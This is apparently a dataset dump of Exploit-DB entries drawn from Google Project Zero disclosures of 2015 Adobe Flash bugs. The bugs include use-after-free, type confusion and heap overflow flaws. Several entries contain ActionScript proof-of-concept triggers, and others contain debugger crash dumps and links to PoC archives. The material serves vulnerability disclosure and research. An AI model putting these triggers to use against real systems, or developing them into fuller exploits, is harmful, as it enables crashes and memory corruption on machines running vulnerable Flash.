QLWD/code_shield huggingface dataset:
标题: Adobe Flash - FileReference Class Type Confusion EDB-ID: 37878 CVE: 2015-5558 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subfr();
var allTypes:Array = new Array();
var imageTypes:Object = new Object();
imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)";
imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png";
allTypes.push(imageTypes);

var textTypes:Object = new Object();
textTypes.description = "Text Files (*.txt, *.rtf)";
textTypes.extension = "*.txt;*.rtf";
allTypes.push(textTypes);
var f = new flash.net.FileReference();
f.cancel.call(a);

Defining subfr:

class subfr extends Object{


 public function subfr(){   
 var n = {valueOf : func};
    this.valueOf = func;
 this.toString = func;
 this.__proto__ = {}; 
 this.__proto__.__constructor__ = TextFormat;
 super(this);

}

function func(){
 
 this.__proto__ = {}; 
 this.__proto__.__constructor__ = flash.net.FileReference;
 super();
 return "natalie";
 }
  
  
}
 
 
A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip URL: https://www.exploit-db.com/exploits/37878
标题: Adobe Flash - XMLSocket Destructor Not Cleared Before Setting User Data in connect EDB-ID: 37876 CVE: 2015-5554 类型: DOS 平台: LINUX_X86-64 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

This issue is a variant of  issue 192 , which the fix did not address.

If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection.

A PoC is as follows:

class subsocket extends flash.display.BitmapData{
 

 public function subsocket(){
   
 var n = {valueOf : func};
    this.valueOf = func;
 var x = new XMLSocket();

 x.connect.call(this, "127.0.0.1", this);

}

function func(){

 if(this){
  }
 this.__proto__ = {}; 
 this.__proto__.__constructor__ = flash.display.BitmapData;
 super(10, 10, true, 10);
 return 80;
 }
  
  
}
 

A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37876.zip URL: https://www.exploit-db.com/exploits/37876
标题: Adobe Flash - Heap Buffer Overflow Loading '.FLV' File with Nellymoser Audio Codec EDB-ID: 37879 CVE: 2015-4432 类型: DOS 平台: LINUX_X86-64 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately and:

http://localhost/LoadMP4.swf?file=crash4000368.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7789d081bb <__memmove_ssse3_back+443>: movaps %xmm1,-0x10(%rdi)

rdi            0x7f7778d69200

7f777894b000-7f7778d69000 rw-p 00000000 00:00 0 
7f7778d69000-7f7778d88000 ---p 00000000 00:00 0 

This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap.

Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37879.zip URL: https://www.exploit-db.com/exploits/37879
标题: Adobe Flash - textfield.gridFitType Use-After-Free EDB-ID: 37877 CVE: 2015-5557 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
 
 test.removeTextField();
 for(var i = 0; i < 1000; i++){
  var b = new flash.display.BitmapData(1000, 1000, true, 10);
  }
 trace("here");
 return "natalie";
 
 }

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip URL: https://www.exploit-db.com/exploits/37877
标题: Adobe Flash - Overflow in ID3 Tag Parsing EDB-ID: 37882 CVE: 2015-5560 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=443&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If an mp3 file contains compressed ID3 data that is larger than 0x2aaaaaaa bytes, an integer overflow will occur in allocating the buffer to contain its converted string data, leading to a large copy into a small buffer. A sample fla, swf and mp3 are attached. Put id34.swf and tag.mp3 in the same folder to reproduce the issue. This issue only works on 64 bit platforms.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37882.zip URL: https://www.exploit-db.com/exploits/37882
标题: Adobe Flash - Pointer Crash in XML Handling EDB-ID: 37870 CVE: 2015-5548 类型: DOS 平台: LINUX 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=400&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample file, signal_sigsegv_7ffff637297a_8900_e3f87b25c25db8f9ec3c975f8c1211cc.swf, crashes, perhaps relating to XML handling.

The crash looks like this on Linux x64:

=> 0x00007f6931226f22: mov    0x8(%rcx),%eax
rcx            0x303030303030300 217020518514230016

The wider context shows that the wild pointer target can be incremented with this vulnerability, which is typically enough for an exploit:

=> 0x00007f6931226f22: mov    0x8(%rcx),%eax    <--- read
   0x00007f6931226f25: test   %eax,%eax
   0x00007f6931226f27: je     0x7f6931226f80
   0x00007f6931226f29: test   $0x40000000,%eax
   0x00007f6931226f2e: jne    0x7f6931226f80
   0x00007f6931226f30: add    $0x1,%eax         <--- increment
   0x00007f6931226f33: cmp    $0xff,%al
   0x00007f6931226f35: mov    %eax,0x8(%rcx)    <--- write back

The base sample from which this fuzz case was generated is also attached, e3f87b25c25db8f9ec3c975f8c1211cc.swf

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37870.zip URL: https://www.exploit-db.com/exploits/37870
标题: Adobe Flash - Bad Write in XML When Callback Modifies XML Tree During Property Delete EDB-ID: 37872 CVE: 2015-5549 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=404&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Source file and compiled PoC attached.

Looking at https://github.com/adobe-flash/avmplus/blob/master/core/XMLListObject.cpp:

bool XMLListObject::delUintProperty(uint32_t index)
...
if (index >= _length())      [1]
        {
            return true;
        }
...
    px->childChanges(core->knodeRemoved, r->atom());  [2]
...
    m_children.removeAt(index);   [3]

In [1], the passed in index is validated. In [2], the callback can run actionscript, which might shrink the size of the current XMLList. In [3], the pre-validated index is used but it might now be invalid due to shrinking at [2]. Unfortunately, removeAt() does not behave well in the presence of an out-of-bounds index.

The PoC works by triggering a wild copy in order to demonstrate the crash. But other side-effects are possible such as decrementing the refcount of an out-of-bounds index.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37872.zip URL: https://www.exploit-db.com/exploits/37872
标题: Adobe Flash - URL Resource Use-After-Free EDB-ID: 37875 CVE: 2015-4430 类型: DOS 平台: WINDOWS 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=410&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The following crash was observed in Flash Player 17.0.0.188 on Windows:

(81c.854): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37397006 ebx=00000000 ecx=008c0493 edx=09f390d0 esi=08c24d98 edi=09dc2000
eip=07a218cb esp=015eda80 ebp=015edb24 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050216
Flash32_17_0_0_188+0x18cb:
07a218cb ff6004           jmp   dword ptr [eax+0x4] ds:0023:3739700a=????????

- The test case reproduces on Windows 7 using IE11. It does not appear to immediately reproduce on Windows+Chrome or Linux+Chrome.

- The crash can also reproduce on one of the two mov instructions prior to the jmp shown here.

- The crash appears to occur due to a use-after-free related to loading a sub-resource from a URL.

- The test case minimizes to an 11-bit difference from the original sample file.

- The following test cases are attached: 2038518113_crash.swf (crashing file), 2038518113_min.swf (minimized file), 2038518113_orig.swf (original non-crashing file).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37875.zip URL: https://www.exploit-db.com/exploits/37875
标题: Adobe Flash - Pointer Crash in Drawing and Bitmap Handling EDB-ID: 37866 CVE: 2015-5544 类型: DOS 平台: LINUX 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=396&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

A nasty looking crash is manifesting in various different ways under fuzzing, apparently related to drawing and bitmap handling.

A trigger is attached, signal_sigsegv_7ffff5b5aee2_252_0688bbd450e7c095265d00be2fca50ab.swf

The base file from which this fuzz case was generated is attached, 0688bbd450e7c095265d00be2fca50ab.swf

The crash on 64-bit Linux looks like this:

=> 0x00007f69314b8f7d: cmpl   $0xc,0x174(%rax)

rax            0x83071500ff0300 36881008741516032

If we trace through the usages of %rax, we can get to some bad writes pretty easily:

=> 0x00007f69314b8f7d: cmpl   $0xc,0x174(%rax)
   0x00007f69314b8f84: je     0x7f69314b8fa0
...
   0x00007f69314b8fa0: mov    (%rax),%rdi      <-- rdi compromised
   0x00007f69314b8fa3: callq  0x7f69314b8810
...
   0x00007f69314b8810: mov    (%rsi),%edx
   0x00007f69314b8812: cmp    $0x7ffffff,%edx
   0x00007f69314b8818: je     0x7f69314b8862
   0x00007f69314b881a: mov    0x10(%rdi),%eax
   0x00007f69314b881d: cmp    $0x7ffffff,%eax
   0x00007f69314b8822: je     0x7f69314b8868
   0x00007f69314b8824: sub    $0x1,%edx
   0x00007f69314b8827: cmp    %eax,%edx
   0x00007f69314b8829: cmovg  %eax,%edx
   0x00007f69314b882c: mov    0x14(%rdi),%eax
   0x00007f69314b882f: mov    %edx,0x10(%rdi)  <---- rdi written to

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37866.zip URL: https://www.exploit-db.com/exploits/37866
标题: Adobe Flash - createTextField Use-After-Free EDB-ID: 37873 CVE: 2015-5556 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
 
 l2.removeMovieClip();
 return "myname";
 
 }

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip URL: https://www.exploit-db.com/exploits/37873
标题: Adobe Flash - Drawing Methods 'this' Use-After-Free EDB-ID: 37864 CVE: 2015-3137 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
 
 var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
 
 var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
 trace(test);
 test.removeTextField();
 return 777;
 } 

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37864.zip URL: https://www.exploit-db.com/exploits/37864
标题: Adobe Flash - swapDepths Use-After-Free EDB-ID: 37871 CVE: 2015-5550 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
 
 clip1.removeMovieClip();
 //_root.createEmptyMovieClip("test", 1);
 
 trace("here");
 return "clip2";
 }

A swf and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip URL: https://www.exploit-db.com/exploits/37871
标题: Adobe Flash - attachMovie Use-After-Free EDB-ID: 37865 CVE: 2015-5551 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){
 
 trace("hello");
 
 newResetButton.removeMovieClip();
 return "test";
 }
 
_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip URL: https://www.exploit-db.com/exploits/37865
标题: Adobe Flash - Pointer Crash After Continuing Slow Script EDB-ID: 37867 CVE: 2015-5545 类型: DOS 平台: LINUX 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=397&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Running the attached swf file in Google Chrome (Linux x64) will eventually result in dialog offering to terminate the slow script. (Not the Google Chrome infobar that says that Flash isn't responding, but the dialog that appears after that.)

Upon electing to terminate the script, a crash occurs.

It is not known whether this bug can be triggered or not without user interaction.

The crashing swf is signal_sigsegv_7ffff5ce5ea4_6963_b1d6342468487426c7ea26c725453e7d.swf

The base file from which the mutated file was generated is b1d6342468487426c7ea26c725453e7d.swf

On Linux x64, the crash looks like this:

=> 0x00007f6931525318: andl   $0xffffffbf,0x3c(%rax)
rax            0x7ff8000000000000 9221120237041090560

And if we look back in the assembly a bit, the wild value has come from %rbx that points to a block of wild values.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37867.zip URL: https://www.exploit-db.com/exploits/37867
标题: Adobe Flash - Pointer Crash in Button Handling EDB-ID: 37869 CVE: 2015-5547 类型: DOS 平台: LINUX 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=399&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff60a1429_9554_f4dc661554237404dfe394d4c6c3e674.swf, crashes in this manner on Linux x64:

=> 0x00007f693158481f: movzbl (%rcx),%r11d
rcx            0x3102ffffecfd 53888954658045

The base sample from which this fuzz case was generated is also attached. We believe this may be related to button handling.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37869.zip URL: https://www.exploit-db.com/exploits/37869
标题: Adobe Flash (Linux x64) - Bad Dereference at 0x23c EDB-ID: 37868 CVE: 2015-5546 类型: DOS 平台: LINUX_X86-64 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=398&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff603deef_1525_268381c02bc3b05c84578ebaeafc02f0.swf, typically crashes in this way on my Linux x64 build (Flash v17.0.0.188):

=> 0x00007f693155bf58: mov    (%rdi),%rbx
rdi            0x23c 572

At first glance this might appear to be a NULL dereference but sometimes it crashes trying to access 0xc8 and different builds have shown crashes at much wilder addresses, so there is probably a use-after-free or other non-deterministic condition going on. For example, our fuzzing cluster saw a crash at 0x400000001.

The base sample from which the fuzz case is derived is also attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37868.zip URL: https://www.exploit-db.com/exploits/37868
标题: Adobe Flash - Out-of-Bounds Read in UTF Conversion EDB-ID: 37862 CVE: 2015-3134 类型: DOS 平台: WINDOWS 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=378&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

We've hit the same bug from two different avenues:

1) A report to the Chromium bug tracker: https://code.google.com/p/chromium/issues/detail?id=485893

2) The new Flash fuzzing collaboration between Mateusz, Chris, Ben.

For 1), here are the details (there's also an attachment):

---
VULNERABILITY DETAILS

This is a OOB read vulnerability when processing the SCRIPTDATASTRING object in Flv file.


VERSION
Chrome Version: 42.0.2311.135 
Operating System: Windows 7

REPRODUCTION CASE

See attached file

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: 
Tab

Crash State: 

[WARNING:..\..\..\..\flash\platform\pepper\pep_module.cpp(63)] SANDBOXED
(e38.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000006 ebx=003ff0b0 ecx=000ff000 edx=05110000 esi=00000000 edi=00000000
eip=63be351a esp=003ff06c ebp=003ff080 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Google\Chrome\Application\42.0.2311.135\PepperFlash\pepflashplayer.dll - 
pepflashplayer!PPP_ShutdownBroker+0x162327:
63be351a 0fb632          movzx   esi,byte ptr [edx]         ds:002b:05110000=??
4:064> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
003ff080 63be379e pepflashplayer!PPP_ShutdownBroker+0x162327
003ff0b4 63cfd02e pepflashplayer!PPP_ShutdownBroker+0x1625ab
003ff0ec 63b3c609 pepflashplayer!PPP_ShutdownBroker+0x27be3b
003ff13c 63cf6d58 pepflashplayer!PPP_ShutdownBroker+0xbb416
003ff14c 63cf6fbc pepflashplayer!PPP_ShutdownBroker+0x275b65
003ff35c 63d11691 pepflashplayer!PPP_ShutdownBroker+0x275dc9
003ff368 63d116d6 pepflashplayer!PPP_ShutdownBroker+0x29049e
003ff4b4 63d0d842 pepflashplayer!PPP_ShutdownBroker+0x2904e3
003ff4fc 63cf99a3 pepflashplayer!PPP_ShutdownBroker+0x28c64f
003ff550 63b94728 pepflashplayer!PPP_ShutdownBroker+0x2787b0
003ff574 63ff0933 pepflashplayer!PPP_ShutdownBroker+0x113535
00000000 00000000 pepflashplayer!PPP_ShutdownBroker+0x56f740
---

For 2), there's a .tar file with a repro SWF in it (may not reproduce outside of analysis tools because it is an OOB read).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37862.zip URL: https://www.exploit-db.com/exploits/37862
标题: Adobe Flash - Type Confusion in TextRenderer.setAdvancedAntialiasingTable EDB-ID: 37874 CVE: 2015-5555 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=409&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in TextRenderer.setAdvancedAntialiasingTable. If the font, insideCutoff or outsideCutoff are set to objects that are not integers, they are still assumed to be integers. A proof-of-concept is below:

var antiAliasEntry_1 = {fontSize:10, insideCutoff:1.61, outsideCutoff:-3.43};
var antiAliasEntry_2 = {fontSize:"", insideCutoff:0.8, outsideCutoff:-0.8};
var arialTable:Array = new Array(antiAliasEntry_1, antiAliasEntry_2);

TextRenderer.setAdvancedAntialiasingTable("Arial", "none", "dark", arialTable);

This issue is low-impact because the type-confused objects are read into the font and cutoff values, which cannot be directly retreived from script. It is probably possible to determine the value read by doing hit tests on the text that is rendered (to see how big and clipped it is), but this would be fairly difficult.

A sample SWF and fla are attached, these samples intentionally crash to demonstrate the issue. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37874.zip URL: https://www.exploit-db.com/exploits/37874